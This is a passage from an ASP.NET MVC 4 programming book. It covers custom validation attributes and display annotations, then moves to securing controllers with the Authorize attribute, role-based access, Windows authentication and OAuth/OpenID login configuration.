Now that you've parameterized the maximum word count, you can implement the validation logic to catch an error:

```
public class MaxWordsAttribute : ValidationAttribute
{
    public MaxWordsAttribute(int maxWords)
    {
        _maxWords = maxWords;
    }

    protected override ValidationResult IsValid(
        object value, ValidationContext validationContext)
    {
        if (value != null)
        {
            var valueAsString = value.ToString();
            if (valueAsString.Split(' ').Length > _maxWords)
            {
                return new ValidationResult("Too many words!");
            }
        }
        return ValidationResult.Success;
    }

    private readonly int _maxWords;
}
```

You are doing a relatively naïve check for the number of words by splitting the incoming value using the space character and counting the number of strings the `Split` method generates. If you find too many words, you return a `ValidationResult` object with a hard-coded error message to indicate a validation error.

The problem with the last block of code is the hard-coded error message. Developers who use the data annotations will expect to have the ability to customize an error message using the `ErrorMessage` property of `ValidationAttribute`. To follow the pattern of the other validation attributes, you need to provide a default error message (to be used if the developer doesn't provide a custom error message) and generate the error message using the name of the property you are validating:

```
public class MaxWordsAttribute : ValidationAttribute
{
    public MaxWordsAttribute(int maxWords)
        :base("{0} has too many words.")
    {
        _maxWords = maxWords;
    }
```

```

protected override ValidationResult IsValid(
    object value, ValidationContext validationContext)
{
    if (value != null)
    {
        var valueAsString = value.ToString();
        if (valueAsString.Split(' ').Length > _maxWords)
        {
            var errorMessage = FormatErrorMessage(
                validationContext.DisplayName);
            return new ValidationResult(errorMessage);
        }
    }
    return ValidationResult.Success;
}

private readonly int _maxWords;
}

```

There are two changes in the preceding code:

- First, you pass along a default error message to the base class constructor. You should pull this default error message from a resource file if you are building an internationalized application.
- Second, notice how the default error message includes a parameter placeholder (`{0}`). The placeholder exists because the second change, the call to the inherited `FormatErrorMessage` method, will automatically format the string using the display name of the property.

`FormatErrorMessage` ensures we use the correct error message string (even if the string is localized into a resource file). The code needs to pass the value of this name, and the value is available from the `DisplayName` property of the `ValidationContext` parameter. With the validation logic in place, you can apply the attribute to any model property:

```

[Required]
[StringLength(160)]
[MaxWords(10)]
public string LastName { get; set; }

```

You could even give the attribute a custom error message:

```

[Required]
[StringLength(160)]
[MaxWords(10, ErrorMessage="There are too many
words in {0}")]
public string LastName { get; set; }

```

Now if the customer types in too many words, he'll see the message in Figure 6-7 in the view.

FIGURE 6-7

NOTE The `MaxWordsAttribute` is available as a NuGet package. Search for `Wrox.ProMvc4.Validation.MaxWordsAttribute` to add the code into your project.

A custom attribute is one approach to providing validation logic for models. As you can see, an attribute is easily reusable across a number of different model classes. In Chapter 8, we'll add client-side validation capabilities for the `MaxWordsAttribute`.

IValidableObject

A *self-validating* model is a model object that knows how to validate itself. A model object can announce this capability by implementing the `IValidableObject` interface. As an example, let's implement the check for too many words in the `LastName` field directly inside the `Order` model:

```
public class Order : IValidableObject
{
    public IEnumerable<ValidationResult> Validate(
        ValidationContext validationContext)
    {
        if (LastName != null &&
            LastName.Split(' ').Length > 10)
        {
            yield return new ValidationResult("The last name has too many words!",
                new [] {"LastName"});
        }
    }

    // rest of Order implementation and properties
    // ...
}
```

This has a few notable differences from the attribute version.

- The method the MVC run time calls to perform validation is named `Validate` instead of `IsValid`, but more important, the return type and parameters are different.
- The return type for `Validate` is an `IEnumerable<ValidationResult>` instead of a single `ValidationResult`, because the logic inside is ostensibly validating the entire model and might need to return more than a single validation error.
- There is no `value` parameter passed to `Validate` because you are inside an instance method of the model and can refer to the property values directly.

Notice that the code uses the C# `yield return` syntax to build the enumerable return value, and the code needs to explicitly tell the `ValidationResult` the name of the field to associate with (in this case `LastName`, but the last parameter to the `ValidationResult` constructor will take an array of strings so you can associate the result with multiple properties).

Many validation scenarios are easier to implement using the `IValidableObject` approach, particularly scenarios where the code needs to compare multiple properties on the model to make a validation decision.

At this point I've covered everything you need to know about validation annotations, but additional annotations in the MVC framework influence how the run time displays and edits a model. I alluded to these annotations earlier in the chapter when I talked about a “friendly display name,” and now you've finally reached a point where you can dive in.

DISPLAY AND EDIT ANNOTATIONS

A long time ago, in a paragraph far, far away (at the beginning of this chapter, actually), you were building a form for a customer to submit the information needed to process an order. You did this using the `EditorForModel` HTML helper, and the form wasn't turning out quite how you expected. Figure 6-8 should help to refresh your memory.

Two problems are evident in the screenshot:

- You do not want the `Username` field to display. (It's populated and managed by code in the controller action.)
- The `FirstName` field should appear with a space between the words First and Name.

The path to resolving these problems also lies in the `DataAnnotations` namespace.

Like the validation attributes you looked at previously, a model metadata provider picks up the following display (and edit) annotations and makes their information available to HTML helpers and other components in the MVC run time. The HTML helpers use any available metadata to change the characteristics of a display and edit UI for a model.

Display

The `Display` attribute sets the friendly display name for a model property. You can use the `Display` attribute to fix the label for the `FirstName` field:

```
[Required]
[StringLength(160, MinimumLength=3)]
[Display(Name="First Name")]
public string FirstName { get; set; }
```

FIGURE 6-8

With the attribute in place, your view renders as shown in Figure 6-9.

In addition to the name, the `Display` attribute enables you to control the order in which properties will appear in the UI. For example, to control the placement of the `Last Name` and `First Name` editors, you can use the following code:

```
[Required]
[StringLength(160)]
[Display(Name="Last Name", Order=15001)]
[MaxWords(10, ErrorMessage="There are too many words in {0}")]
public string LastName { get; set; }

[Required]
[StringLength(160, MinimumLength=3)]
[Display(Name="First Name", Order=15000)]
public string FirstName { get; set; }
```

FIGURE 6-9

Assuming no other properties in the `Order` model have a `Display` attribute, the last two fields in the form should be `FirstName`, then `LastName`. The default value for `Order` is 10,000, and fields appear in ascending order.

ScaffoldColumn

The `ScaffoldColumn` attribute hides a property from HTML helpers such as `EditorForModel` and `DisplayForModel`:

```
[ScaffoldColumn(false)]
public string Username { get; set; }
```

With the attribute in place, `EditorForModel` will no longer display an input or label for the `Username` field. Note, however, the model binder might still try to move a value into the `Username` property if it sees a matching value in the request. You can read more about this scenario (called *over-posting*) in Chapter 7.

The two attributes you've looked at so far can fix everything you need for the order form, but take a look at the rest of the annotations you can use with ASP.NET MVC 4.

DisplayFormat

The `DisplayFormat` attribute handles various formatting options for a property via named parameters. You can provide alternate text for display when the property contains a null value, and turn off HTML encoding for properties containing markup. You can also specify a data format string for the run time to apply to the property value. In the following code you format the `Total` property of a model as a currency value:

```
[DisplayFormat(ApplyFormatInEditMode=true, DataFormatString="{0:c}")]
public decimal Total { get; set; }
```

The `ApplyFormatInEditMode` parameter is false by default, so if you want the `Total` value formatted into a form input, you need to set

`ApplyFormatInEditMode` to true. For example, if the `Total` decimal property of a model were set to 12.1, you'd see the output in the view shown in Figure 6-10.

Total
\$12.10

FIGURE 6-10

One reason `ApplyFormatInEditMode` is false by default is because the MVC model binder might not like to parse a value formatted for display. In this example, the model binder will fail to parse the price value during postback because of the currency symbol in the field, so you should leave `ApplyFormatInEditMode` as false.

ReadOnly

Place the `ReadOnly` attribute on a property if you want to make sure the default model binder does not set the property with a new value from the request:

```
[ReadOnly(true)]
public decimal Total { get; set; }
```

Note the `EditorForModel` helper will still display an enabled input for the property, so only the model binder respects the `ReadOnly` attribute.

DataType

The `DataType` attribute enables you to provide the run time with information about the specific purpose of a property. For example, a property of type `string` can fill a variety of scenarios — it might hold an e-mail address, a URL, or a password. The `DataType` attribute covers all of these scenarios. If you look at the Music Store's model for account logon, for example, you'll find the following:

```
[Required]
[DataType(DataType.Password)]
[Display(Name="Password")]
public string Password { get; set; }
```

For a `DataType` of `Password`, the HTML editor helpers in ASP.NET MVC will render an input element with a `type` attribute set to `password`. In the browser, this means you won't see characters appear onscreen when typing a password (see Figure 6-11).

Other data types include `Currency`, `Date`, `Time`, and `MultilineText`.

FIGURE 6-11

UIHint

The `UIHint` attribute gives the ASP.NET MVC run time the name of a template to use when rendering output with the templated helpers (like `DisplayFor` and `EditorFor`). You can define your own template helpers to override the default MVC behavior, and you'll look at custom templates in Chapter 16.

HiddenInput

The `HiddenInput` attribute lives in the `System.Web.Mvc` namespace and tells the run time to render an input element with a type of `hidden`. Hidden inputs are a great way to keep information in a form so the browser will send the data back to the server, but the user won't be able to see or edit the data (although a malicious user could change submitted form values to change the input value, so don't consider the attribute as foolproof).

SUMMARY

In this chapter you looked at data annotations for validation, and saw how the MVC run time uses model metadata, model binders, and HTML helpers to construct pain-free validation support in a web application. The validation supports both server-side validation and client-validation features with no code duplication. You also built a custom annotation for custom validation logic, and compared the annotation to validation with a self-validating model. Finally, you looked at using data annotations to influence the output of the HTML helpers rendering HTML in your views.

Membership, Authorization, and Security

Jon Galloway

WHAT'S IN THIS CHAPTER?

- Requiring login with the Authorize Attribute
- Requiring role membership using the Authorize Attribute
- Using security vectors in a web application
- Coding defensively

Securing your web applications can seem like a chore. It's something you have to do, but not a whole lot of fun. Nobody looks at your application and says, "Wow! Check out how well they secured my personally identifiable information! This programmer rules!" Security is generally something you have to do because you don't want to be caught in an embarrassing security breach.

No, security doesn't sound like a whole lot of fun. Most of the time, when you read a chapter on security it's either underwritten or very overbearing. The good news for you is that we, the authors, read these books, too — a lot of them — and we're quite aware that we're lucky to have you as a reader, and we're not about to abuse that trust. In short, we really want this chapter to be informative because it's very important!

ASP.NET WEB FORMS DEVELOPERS: WE'RE NOT IN KANSAS ANYMORE!

This chapter is one you absolutely must read, because ASP.NET MVC doesn't have as many automatic protections as ASP.NET Web Forms does to secure your page against malicious users. ASP.NET Web Forms tries hard to protect you from a lot of things. For example:

- Server Components HTML-encode displayed values and attributes to help prevent XSS attacks.
- View State is encrypted and validated to help prevent tampering with form posts.
- Request Validation (`<% @page validateRequest="true" %>`) intercepts malicious-looking data and offers a warning (this is still turned on by default with ASP.NET MVC).
- Event Validation helps prevent injection attacks and posting of invalid values.

The transition to ASP.NET MVC means that handling some of these things falls to you — this is scary for some folks, a good thing for others.

If you're of the mind that a framework should "just handle this kind of thing" — well, we agree with you, and there is a framework that does just this: ASP.NET Web Forms, and it does it very well. It comes at a price, however, which is that you lose some control because it introduces a level of abstraction.

ASP.NET MVC gives you more control over markup and how your application functions, which means you've taken on more responsibility. To be clear, ASP.NET MVC does offer you a lot of built-in protection (e.g. features like HTML-encoding by default using HTML helpers and Razor syntax, request validation). However, it is easier to shoot yourself in the foot if you don't understand web security — and that's what this chapter is all about.

The number one excuse for insecure applications is a lack of information or understanding on the developer's part, and we'd like to change that — but we also realize that you're human and are susceptible to falling asleep. Given that, we'd like to offer you the punch line first, in what we consider to be a critical summary statement of this chapter:

Never, ever trust any data your users give you. Ever.

- Any time you render data that originated as user input, HTML-encode it (or HTML-attribute-encode it if it's displayed as an attribute value).
- Think about what portions of your site should be available for anonymous access, and require authentication on the others.
- Don't try to sanitize your users' HTML input yourself (using a whitelist or some other method) — you'll lose.

- Use HTTP-only cookies when you don't need to access cookies via client-side script (which is most of the time).
- Remember that external input isn't just obvious form fields; it includes URL query string values, hidden form fields, Ajax requests, results of external web services you're using, and more.
- Strongly consider using the AntiXSS library (www.codeplex.com/Antixss).

There's obviously a lot more we can tell you — including how some common attacks work and what they're after. So hang with us — we're going to venture into the minds of your users, and, yes, the people who are going to try to hack your site are your users, too. You have enemies, and they are waiting for you to build this application of yours so they can come and break into it. If you haven't faced this before, it's usually for one of two reasons:

- You haven't built an application.
- You didn't find out that someone hacked your application.

Hackers, crackers, spammers, viruses, malware — they want in to your computer and the data inside it. Chances are that your e-mail inbox has deflected many e-mails in the time that it's taken you to read this. Your ports have been scanned, and most likely an automated worm has tried to find its way into your PC through various operating system holes. These attacks are automated, so they're constantly probing, looking for an open system.

This may seem like a dire way to start this chapter; however, there is one thing that you need to understand straight off the bat: *It's not personal*. You're just not part of the equation. It's a fact of life that some people consider all computers (and their information) fair game.

Meanwhile, your applications are built with the assumption that only certain users should be able to perform some actions, and no user should ever be able to perform others. There's a radical disconnect between how you hope your application will be used and how hackers hope to abuse it. This chapter explains how to make use of the membership, authorization, and security features in ASP .NET MVC to keep both your users and the anonymous horde of attackers in line.

This chapter starts with a look at how to use the security features in ASP.NET MVC to perform application functions like authorization, then moves on to look at how to handle common security threats. Remember that it's all part of the same continuum, though. You want to make sure that everyone who accesses your ASP.NET MVC application uses it in the way you intended. That's what security is all about.

USING THE AUTHORIZE ATTRIBUTE TO REQUIRE LOGIN

The first, simplest step in securing an application is requiring that a user be logged in to access specific URLs within the application. You can do that using the Authorize action filter on either a controller or on specific actions within a controller. The `AuthorizeAttribute` is the default authorization filter included with ASP.NET MVC. Use it to restrict access to an action method. Applying this attribute to a controller is shorthand for applying it to every action method within the controller.

AUTHENTICATION AND AUTHORIZATION

Sometimes people get confused with respect to the difference between *user authentication* and *user authorization*. It's easy to get these words confused — but in summary, *authentication* is verifying that users are who they say they are, using some form of login mechanism (username/password, OpenID, and so on — something that says “this is who I am”). *Authorization* is verifying that they can do what they want to do with respect to your site. This is usually achieved using some type of role-based system.

Without any parameters, the `Authorize` attribute just requires that the user is logged in to the site in any capacity — in other words, it just forbids anonymous access. You look at that first, and then look at restricting access to specific roles.

Securing Controller Actions

Let's assume that you've naively started on your music store application with a very simple shopping scenario: a `StoreController` with two actions: `Index` (which displays the list of albums) and `Buy`:

```
using System.Collections.Generic;
using System.Linq;
using System.Web.Mvc;
using Wrox.ProMvc4.Security.Authorize.Models;

namespace Wrox.ProMvc4.Security.Authorize.Controllers
{
    public class StoreController : Controller
    {
        public ActionResult Index()
        {
            var albums = GetAlbums();

            return View(albums);
        }

        public ActionResult Buy(int id)
        {
            var album = GetAlbums().Single(a => a.AlbumId == id);

            //Charge the user and ship the album!!!
            return View(album);
        }
    }

    // A simple music catalog
    private static List<Album> GetAlbums()
    {
        var albums = new List<Album>{
            new Album { AlbumId = 1, Title = "The Fall of Math", Price = 8.99M },
            new Album { AlbumId = 2, Title = "The Blue Notebooks", Price = 8.99M },
            new Album { AlbumId = 3, Title = "Lost in Translation", Price = 9.99M },
            new Album { AlbumId = 4, Title = "Permutation", Price = 10.99M },
        };
    }
}
```

```
        };
        return albums;
    }
}
```

However, you're obviously not done, because the current controller would allow a user to buy an album anonymously. You need to know who the users are when they buy the album. You can resolve this by adding the `AuthorizeAttribute` to the `Buy` action, like this:

```
[Authorize]
public ActionResult Buy(int id)
{
    var album = GetAlbums().Single(a => a.AlbumId == id);

    //Charge the user and ship the album!!!
    return View(album);
}
```

To see this code, use NuGet to install the `Wrox.ProMvc4.Security.Authorize` package into a default ASP.NET MVC project, as follows:

```
Install-Package Wrox.ProMvc4.Security.Authorize
```

Run the application and browse to `/Store`. You'll see a list of albums, and you haven't had to log in or register at this point, as shown in Figure 7-1.

FIGURE 7-1

When you click the `Buy` link, however, you are required to log in (see Figure 7-2).

**FIGURE 7-2**

Since you don't have an account yet, you'll need to click the Register link, which displays a standard account signup page (see Figure 7-3).

When you click the Buy button after registering, the authorization check passes and you're shown the purchase confirmation page, as shown in Figure 7-4. (Of course, a real application would also collect some additional information during the checkout, as demonstrated in the MVC Music Store application.)

PRODUCT TEAM ASIDE

A common means of securing an application with Web Forms is to use URL authorization. For example, if you have an admin section and you want to restrict it to users who are in the Admins role, you might place all your admin pages in an admin folder and deny access to everyone except those in the Admins role to that subfolder. With ASP.NET Web Forms, you can secure a directory on your site by locking it down in the `web.config`:

```
<location path="Admin" allowOverride="false">
<system.web>
    <authorization>
        <allow roles="Administrator" />
        <deny users="?" />
    </authorization>
</system.web>
</location>
```

With MVC that approach won't work so well for two reasons:

- Requests no longer map to physical directories.
- There may be more than one way to route to the same controller.

With MVC, it is possible in theory to have an `AdminController` encapsulate your application's administrative functionality and then set URL authorization within your root `web.config` file to block access to any request that begins with `/Admin`. However, this isn't necessarily secure. It may be possible that you have another route that maps to the `AdminController` by accident.

For example, say that later on you decide that you want to switch the order of `{controller}` and `{action}` within your default routes. So now, `/Index/Admin` is the URL for the default admin page, but that is no longer blocked by your URL authorization.

A good approach to security is to always put the security check as close as possible to the thing you are securing. You might have other checks higher up the stack, but ultimately, you want to secure the actual resource. This way, no matter how the user got to the resource, there will always be a security check. In this case, you don't want to rely on routing and URL authorization to secure a controller; you really want to secure the controller itself. The `AuthorizeAttribute` serves this purpose.

- If you don't specify any roles or users, the current user must simply be authenticated in order to call the action method. This is an easy way to block unauthenticated users from a particular controller action.
- If a user attempts to access an action method with this attribute applied and fails the authorization check, the filter causes the server to return a "401 Unauthorized" HTTP status code.
- In the case that forms authentication is enabled and a login URL is specified in the `web.config`, ASP.NET will handle this response code and redirect the user to the login page. This is an existing behavior of ASP.NET and is not new to ASP.NET MVC.

How the `AuthorizeAttribute` Works with Forms Authentication and the `AccountController`

What's going on behind the scenes here? Clearly, we didn't write any code (controllers or views) to handle the Log On and Register URLs, so where did it come from? The ASP.NET MVC Internet Application template includes an `AccountController` that implements support for accounts managed by both ASP.NET Membership and OAuth authentication.

The `AuthorizeAttribute` is a filter, which means that it can execute before the associated controller action. The `AuthorizeAttribute` performs its main work in the `OnAuthorization` method, which is a standard method defined in the `IAuthorizationFilter` interface. Checking the MVC

source code, you can see that the underlying security check is looking at the underlying authentication information held by the ASP.NET context:

```
IPrincipal user = httpContext.User;
if (!user.Identity.IsAuthenticated)
{
    return false;
}
```

FIGURE 7-3

If the user fails authentication, an `HttpUnauthorizedResult` action result is returned, which produces an HTTP 401 (Unauthorized) status code. This 401 status code is intercepted by the `FormsAuthenticationModule` `OnLeave` method, which instead redirects to the application login page defined in the application's `web.config`, as shown here:

```
<authentication mode="Forms">
<forms loginUrl("~/Account/LogOn" timeout="2880" />
</authentication>
```

This redirection address includes a return URL, so after completing login successfully, the `Account / LogOn` action redirects to the originally requested page.

FIGURE 7-4

OPEN REDIRECTION AS A SECURITY VECTOR

The login redirection process is a target for open redirection attacks because attackers can craft malicious post-login URLs, which could redirect users to harmful websites. This threat is discussed later in this chapter.

It's nice that the `AccountController` — and its associated views — are all provided in the ASP.NET MVC Internet Application template. In simple cases, adding authorization doesn't require any additional code or configuration.

Equally nice, though, is that you can change any of those parts:

- The `AccountController` (as well as the associated Account models and views) is a standard ASP.NET MVC controller, which is pretty easy to modify.
- The authorization calls work against the standard ASP.NET Membership provider mechanism, as defined in your `web.config` `<authorization>` setting. You can switch providers or write your own.
- The `AuthorizeAttribute` is a standard authorization attribute, implementing `IAuthorizeFilter`. You can create your own authorization filters.

Windows Authentication in the Intranet Application Template

The Intranet Application template (available in ASP.NET MVC 3 Tools Update and later) is very similar to the Internet Application template, with one exception: It replaces Forms Authentication with Windows Authentication.

Because Registration and Log On with Windows Authentication are handled outside of the web application, this template doesn't require the `AccountController` or the associated models and views. To configure Windows Authentication, this template includes the following line in `web.config`:

```
<authentication mode="Windows" />
```

This template also includes a `readme.txt` file with the following instructions on how to configure Windows Authentication in both IIS and IIS Express. In order to use the Intranet template, you'll need to enable Windows authentication and disable Anonymous authentication.

IIS 7 and IIS 8

- 1.** Open IIS Manager and navigate to your website.
- 2.** In Features View, double-click Authentication.
- 3.** On the Authentication page, select Windows authentication. If Windows authentication is not an option, you'll need to make sure Windows authentication is installed on the server.

To enable Windows authentication in Windows:

- a.** In the Control Panel, open Programs and Features.
- b.** Select Turn Windows features on or off.
- c.** Navigate to Internet Information Services \Rightarrow World Wide Web Services \Rightarrow Security and make sure the Windows authentication node is checked.

To enable Windows authentication on Windows Server:

- a.** In the Server Manager, select Web Server (IIS) and click Add Role Services.
- b.** Navigate to Web Server \Rightarrow Security and make sure the Windows authentication node is checked.
- 4.** In the Actions pane, click Enable to use Windows authentication.
- 5.** On the Authentication page, select Anonymous authentication.
- 6.** In the Actions pane, click Disable to disable anonymous authentication.

IIS Express

- 1.** Click on your project in the Solution Explorer to select the project.
- 2.** If the Properties pane is not open, open it (F4).
- 3.** In the Properties pane for your project:
 - a.** Set Anonymous Authentication to Disabled.
 - b.** Set Windows Authentication to Enabled.

Securing Entire Controllers

The preceding scenario demonstrated a single controller with the `AuthorizeAttribute` applied to specific controller actions. After some time, you realize that the browsing, shopping cart, and

checkout portions of your website each deserve separate controllers. Several actions are associated with both the anonymous Shopping Cart (view cart, add item to cart, remove from cart) and the authenticated Checkout (add address and payment information, complete checkout). Requiring Authorization on Checkout lets you transparently handle the transition from Shopping Cart (anonymous) to Checkout (registration required) in the Music Store scenario. You accomplish this by putting the `AuthorizeAttribute` on the `CheckoutController`, like this:

```
[Authorize]
public class CheckoutController : Controller
```

This says that all actions in the `CheckoutController` will allow any registered user, but will not allow anonymous access.

Securing Your Entire Application Using a Global Authorization Filter

For many sites, nearly the entire application should require authorization. In this case, it's simpler to require authorization by default and make exceptions in the few places where anonymous access is allowed — such as the site's home page and URLs required for the login process. For this case, it's a good idea to configure the `AuthorizeAttribute` as a global filter and allow anonymous access to specific controllers or methods using the `AllowAnonymous` attribute.

To register the `AuthorizeAttribute` as a global filter, add it to the global filters collection in `RegisterGlobalFilters`:

```
public static void RegisterGlobalFilters(GlobalFilterCollection filters) {
    filters.Add(new System.Web.Mvc.AuthorizeAttribute());
    filters.Add(new HandleErrorAttribute());
}
```

This will apply the `AuthorizeAttribute` to all controller actions in the application. The obvious problem this presents is that it restricts access to the entire site, including the `AccountController`. Prior to MVC 4, if you wanted to use a global filter to require authorization, you had to do something special to allow anonymous access to the `AccountController`. A common technique was to subclass the `AuthorizeAttribute` and include some extra logic to selectively allow access to specific actions. MVC 4 adds a new `AllowAnonymous` attribute. You can place the `AuthorizeAttribute` on any methods (or entire controllers) to opt out of authorization as desired.

For an example, you can see the default `AccountController` in a new MVC 4 application using the Internet Application template. All methods that would require external access if the `AuthorizeAttribute` were registered as a global filter are decorated with the `AllowAnonymous` attribute. For example, the Login HTTP Get action appears, as follows:

```
// 
// GET: /Account/Login

[AllowAnonymous]
public ActionResult Login()
{
    return ContextDependentView();
}
```

This way, even if you register the `AuthorizeAttribute` as a global filter, users will be able to access the login actions.

GLOBAL AUTHORIZATION IS GLOBAL ONLY TO MVC

It's important to keep in mind that a global filter applies only to MVC controller actions. It doesn't secure Web Forms, static content, or other ASP.NET handlers.

As mentioned earlier, Web Forms and static resources map to file paths and can be secured using the `authorization` element in your `web.config`. ASP.NET handler security is more complex; like an MVC action, a handler can map to multiple URLs.

Securing handlers is normally handled via custom code in the `ProcessRequest` method. For example, you may check `User.Identity.IsAuthenticated` and redirect or return an error if the authentication check fails.

USING THE AUTHORIZE ATTRIBUTE TO REQUIRE ROLE MEMBERSHIP

So far you've looked at the use of the `AuthorizeAttribute` to prevent anonymous access to a controller or controller action. However, as mentioned, you can also limit access to specific users or roles. A common example of where this is used is in administrative functions. After some work, your Music Store application has grown to the point that you're no longer happy with editing the album catalog by directly editing the database. It's time for a `StoreManagerController`.

However, this `StoreManagerController` can't just allow any random registered user who just opened an account to edit, add, or delete an album. You need the ability to limit access to specific roles or users. Fortunately, the `AuthorizeAttribute` allows you to specify both roles and users, as shown here:

```
[Authorize(Roles="Administrator")]
public class StoreManagerController : Controller
```

This will restrict access to the `StoreManagerController` to users who belong to the `Administrator` role. Anonymous users, or registered users who are not members of the `Administrator` role, will be prevented from accessing any of the actions in the `StoreManagerController`.

As implied by the name, the `Roles` parameter can take more than one role. You can pass in a comma-delimited list:

```
[Authorize(Roles="Administrator,SuperAdmin")]
public class TopSecretController:Controller
```

You can also authorize by a list of users:

```
[Authorize(Users="Jon,Phil,Scott,Brad")]
public class TopSecretController:Controller
```

And you can combine them, as well:

```
[Authorize(Roles="UsersNamedScott", Users="Jon,Phil,Brad")]
public class TopSecretController:Controller
```

WHEN AND HOW TO USE ROLES AND USERS

It's generally considered a better idea to manage your permissions based on roles instead of users, for several reasons:

- Users can come and go, and a specific user is likely to require (or lose) permissions over time.
- It's generally easier to manage role membership than user membership. If you hire a new office administrator, you can easily add them to an Administrator role without a code change. If adding a new administrative user to your system requires you to modify all your `Authorize` attributes and deploy a new version of the application assembly, people *will* laugh at you.
- Role-based management enables you to have different access lists across deployment environments. You may want to grant developers Administrator access to a payroll application in your development and stage environments, but not in production.

When you're creating role groups, consider using privileged-based role groups. For example, roles named `CanAdjustCompensation` and `CanEditAlbums` are more granular and ultimately more manageable than overly generic groups like `Administrator` followed by the inevitable `SuperAdmin` and the equally inevitable `SuperSuperAdmin`.

For a full example of the interaction between the security access levels discussed, download the MVC Music Store application from <http://mvcmusicstore.codeplex.com> and observe the transition between the `StoreController`, `CheckoutController`, and `StoreManagerController`. This interaction requires several controllers and a backing database, so it's simplest to download the completed application code rather than to install a NuGet package and walk through a long list of configuration steps.

EXTENDING ROLES AND MEMBERSHIP

As discussed previously, one of the benefits of ASP.NET MVC is that it runs on top of the mature, full-featured ASP.NET core. Authentication and authorization in ASP.NET MVC are built on top of the Role and Membership classes found in the `System.Web.Security` namespace. This is helpful for several reasons:

- You can use existing code and skills based on working with the ASP.NET Membership system.
- You can extend components of ASP.NET MVC that deal with security (such as authorization and the default `AccountController`) using the ASP.NET Membership and Roles APIs.
- You can leverage the provider system to create your own Membership, Role, and Profile providers that will work with ASP.NET MVC.

I've written an extensive blog post titled *ASP.NET MVC Authentication — Customizing Authentication and Authorization The Right Way*: <http://bit.ly/CustomizeMvcAuthentication>.

EXTERNAL LOGIN VIA OAUTH AND OPENID

Historically, the huge majority of web applications have handled authorization based on a locally maintained account database. The ASP.NET Membership system is a familiar example: New users register for an account by providing a name, password, and possibly other required information. The application adds the user information to a local membership database and uses it to validate login attempts.

While traditional membership is a great fit in a lot of web applications, it comes with some serious downsides:

- **Maintaining a local database of usernames and secret passwords is a large security liability.** It's become common to hear about large security breaches involving hundreds of thousands of users' account information (often including unencrypted passwords). Worse, because many users reuse passwords on multiple websites, compromised accounts may affect your users' security on their banking or other sensitive websites.
- **Website registration is annoying.** Users have gotten tired of filling out forms, complying with widely differing password policies, remembering passwords, and worrying if your site is going to keep their information secure. A significant percentage of potential users will decide they'd rather not bother with registering for your site.

OAuth and OpenID are open standards for authorization. These protocols allow your users to log in to your site using their existing accounts on other trusted sites (called *providers*), such as Google, Twitter, Microsoft, and others.

Setting up your site to support OAuth and OpenID has been difficult to implement in the past for two reasons: These protocols are complex, and many top providers implement them a little differently. MVC 4 greatly simplifies this by including built-in support for OAuth and OpenID in the Internet project template. This support includes an updated `AccountController`, views to facilitate registration and account management, and utility classes built on top of the popular DotNetOpenAuth library.

The new login page now shows two options: "Use a local account to log in" and "Use another service to log in," as shown in Figure 7-5. As implied by this page, your site can support both options, allowing users to continue to create local accounts if they prefer.

Registering External Login Providers

You need to explicitly enable external sites for login. Fortunately, this is extremely simple. Authorization providers are configured in `App_Start\AuthConfig.cs`. When you create a new application, all authentication providers in `AuthConfig.cs` are commented out and will appear as follows:

```
public static class AuthConfig
{
```

```
public static void RegisterAuth()
{
    // To let users of this site log in using their accounts from
    // other sites such as Microsoft, Facebook, and Twitter,
    // you must update this site. For more information visit
    // http://go.microsoft.com/fwlink/?LinkId=252166

    //OAuthWebSecurity.RegisterMicrosoftClient(
    //    clientId: "",
    //    clientSecret: "");

    //OAuthWebSecurity.RegisterTwitterClient(
    //    consumerKey: "",
    //    consumerSecret: "");

    //OAuthWebSecurity.RegisterFacebookClient(
    //    appId: "",
    //    appSecret: "");

    //OAuthWebSecurity.RegisterGoogleClient();
}

}
```

FIGURE 7-5

Sites that use an OAuth provider (Facebook, Twitter, and Microsoft) will require you to register your site as an application. When you do, you'll be provided a *client id* and a *secret*. Your site will use these to authenticate with the OAuth provider. Sites that implement OpenID (such as Google and Yahoo) do not require you to register an application, and you won't need a client id or secret.

The `OAuthWebSecurity` utility methods shown in the above listing work pretty hard to hide the implementation differences between OAuth and OpenID as well as differences between providers, but you'll notice some differences. The providers use differing terminology as well, referring to client id as *consumer key*, *app id*, etc. Fortunately, the `OAuthWebSecurity` methods for each provider use parameter names that match the provider's terms and documentation.

Configuring OpenID Providers

Configuring an OpenID provider is relatively simple, since no registration is required and there are no parameters to fill in. We'll walk through adding OpenID support for three OpenID providers: Google, Yahoo, and myOpenID.

The example code to implement Google provider support is already included in `AuthConfig`, so just uncomment it. To add support for Yahoo, add a call to `OAuthWebSecurity.RegisterYahooClient()`.

The `OAuthWebSecurity` class doesn't have a utility method to register myOpenID directly, so we'll need to create and register a custom client, as shown in the following completed `AuthConfig.cs` code. (Note the additional `using` statements to bring in the `DotNetOpenAuth` namespaces.)

```
using DotNetOpenAuth.AspNet.Clients;
using DotNetOpenAuth.OpenId.RelyingParty;
using Microsoft.Web.WebPages.OAuth;

namespace MvcApplication23
{
    public static class AuthConfig
    {
        public static void RegisterAuth()
        {
            OAuthWebSecurity.RegisterGoogleClient();
            OAuthWebSecurity.RegisterYahooClient();

            var MyOpenIdClient =
                new OpenIdClient("myopenid", WellKnownProviders.MyOpenId);
            OAuthWebSecurity.RegisterClient(MyOpenIdClient, "myOpenID", null);
        }
    }
}
```

That's it — we're done. To test this, run the application and click on the Log In link in the header (or browse to `/Account/Login`). You'll see the three registered clients are displayed in the external sites list, as shown in Figure 7-6.

FIGURE 7-6

Next, click the Google login button. This redirects you to a Google confirmation page, as shown in Figure 7-7, that verifies you want to provide information (in this case, my e-mail address) back to the requesting site.

FIGURE 7-7

After clicking Allow, you are redirected back to the ASP.NET MVC site to complete the registration process (see Figure 7-8).

FIGURE 7-8

After clicking the Register button, you are redirected to the home page as an authenticated user, as shown in Figure 7-9.

FIGURE 7-9

Finally, you can click your username in the header to manage your account (see Figure 7-10). You can add a local password or associate additional external login providers.

Configuring OAuth Providers

While the code involved in configuring an OAuth provider is very similar to the OpenID case, the process of registering your site as an application varies by provider. The MVC 4 Internet project template includes support for OAuth support using the DotNetOpenAuth NuGet package. I recommend you follow the official documentation for OAuth rather than referring to printed material or blog posts. You can find it by clicking the article linked in the Login page (In the sentence which starts “See this article for details...”) or at the following location: <http://go.microsoft.com/fwlink/?LinkId=252166>. This documentation includes step-by-step instructions for registering applications with each supported OAuth provider.

